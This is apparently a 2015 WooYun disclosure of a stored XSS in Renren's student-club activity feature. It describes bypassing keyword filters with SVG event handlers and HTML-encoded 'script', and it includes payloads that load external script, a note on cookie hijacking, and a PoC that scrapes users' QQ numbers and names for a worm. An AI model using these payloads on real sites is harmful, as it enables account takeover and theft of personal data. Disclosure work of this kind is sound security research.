人人网社团人某功能可导致蠕虫(XSS过滤分析与绕过技巧)

编号94621
Urlhttp://www.wooyun.org/bug.php?action=view&id=94621
漏洞状态厂商已经确认
漏洞标题人人网社团人某功能可导致蠕虫(XSS过滤分析与绕过技巧)
漏洞类型XSS跨站脚本攻击
厂商人人网
白帽子g0odnight
提交日期2015-01-30 11:18:00
公开日期2015-03-16 11:20:00
修复时间(not set)
确认时间2015-01-30 00:00:00
Confirm Spend0
漏洞标签持久型xss sns类型应用xss
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank9
漏洞简介
==、今年1月初就挖到了...一直没提交,刚刚看了下竟然被补了......好伤心,也没看到有别的白帽子提交....尝试绕过之...具体看下面
漏洞细节

话说这里最初只做了前台过滤,抓包改下就可以上传任意长度的脚本了,所以在这里写蠕虫不用考虑跨域问题,不过&符号莫名其妙会被吃掉,不过没太大问题,后来也没提交。今天看了下发现漏洞被补了,不单单前台过滤。后台也进行了关键字检测比如<script>和一些别的关键字。虽然svg没过滤可以进行弹窗,但是不知道为什么以跟上资源链接就处问题,不过最后还是成功触发了。具体看下嘛截图吧,最初的测试我没截多少图,今天的多截几张补上来吧。用的游览器是火狐和chrome。

屏幕快照 2015-01-29 下午6.57.44.png


在填写活动介绍这边过滤不严,前台可以用抓包改包解决,后台的过滤不严密。
下面是第一次测试的时候,后台完全没有过滤,直接可以改包写入<script>xxxxx。

屏幕快照 2015-01-29 下午7.01.45.png


今天看的时候就这样了,后台加入了关键字过滤。

屏幕快照 2015-01-29 下午7.39.52.png


不过对svg没有过滤。但是后面不知道为什么svg/onload后面请求资源链接一直不能成功

屏幕快照 2015-01-29 下午7.19.47.png


屏幕快照 2015-01-29 下午7.03.59.png


就换了一下,顺带外链重新编码。另外重新编码的时候发现对script如果像这样

onerror="JavaScriptCode like <scrip&#116>"

就无法过滤了,应该是对编码后的数据都没有进行检测,只检测没有编码的。

屏幕快照 2015-01-29 下午7.37.27.png


附带几个svg的测试代码

onerror="with(document)body.appendChild(createElement('script')).src='xxxxxxxxx'"


<svg xmlns="url"><g onload="javascript:alert(1)"></g></svg>


我用一个账号是用火狐浏览器发布,然后用另一个账号通过chrome账号去访问,成功获得cookie,且可劫持。

屏幕快照 2015-01-29 下午7.45.46.png


屏幕快照 2015-01-29 下午7.37.01.png


屏幕快照 2015-01-29 下午8.13.52.png


由于社团人可以直接发布到人人主站,同时是专门针对大学生的(多好的鸡),可用作蠕虫。这里附上获取用户信息如电话号码、扣扣之类信息的一小段poc。域内访问m.renren.com然后调用。

function getQQ()
{
var quickExpr =/<div>Q([^<]*)/g;
var headhtml = window.document.head.innerHTML;
var qq=quickExpr.exec(headhtml);
return qq[1];
}
function getname()
{
var quickExpr =/- ([^</tltle]*)/g;
var headhtml = window.document.head.innerHTML;
var name=quickExpr.exec(headhtml);
return name[1];
}


匹配姓名,女神的姓名就打马赛克了。

屏幕快照 2015-01-29 下午8.07.13.png


女神QQ才不给你们

屏幕快照 2015-01-29 下午8.07.39.png


话说很快就删掉了测试用的活动,没有造成啥影响,跪求rank。红圈中显示活动取消。

Screenshot_2015-01-29-20-15-33.png

POC

看上面

修复方案

要过年了诶。后台过滤规则添加详细。话说人人不能用http-only的花为什么主站不采用csp去完整覆盖?

状态信息 2015-01-30: 细节已通知厂商并且等待厂商处理中
2015-01-30: 厂商已经确认,细节仅向厂商公开
2015-02-09: 细节向核心白帽子及相关领域专家公开
2015-02-19: 细节向普通白帽子公开
2015-03-01: 细节向实习白帽子公开
2015-03-16: 细节向公众公开
厂商回复谢谢
回应信息危害等级:中漏洞Rank:9 确认时间:2015-01-30 13:13
Showing 1-8 of 8 items.
评论内容评论人点赞数评论时间

大神们 你们都用的什么xss利用平台

llkoio02015-03-29 09:29:00

@g0odnight 按照技术细节和影响程度吧

疯狗02015-02-02 12:46:00

@疯狗 看历史记录如果一段时间内同一人提交了一系列漏洞,就会出1rank。。。。所以还是路人甲比较好....然后有个人不是测了个蠕虫也被给了1rank么...总的来说,就是:可以测试,但是不要刷系列,不要影响到别的用户(估计会被扣奖金吧)。

g0odnight02015-01-30 18:13:00

@g0odnight 啊?人人的rank原来是这么给的?

疯狗02015-01-30 16:46:00

@px1624 恩。我这里7到12分。只要不是短时间内提交大量漏洞,是不会给1分的....还有如果脱裤子和挂蠕虫了也会给一分....

g0odnight02015-01-30 15:35:00

@g0odnight 哈哈,一般情况人人网都给7分,你可看看历史漏洞

px162402015-01-30 15:05:00

@px1624 9分。没人刷,就不给1分了。

g0odnight02015-01-30 14:17:00

7分

px162402015-01-30 12:25:00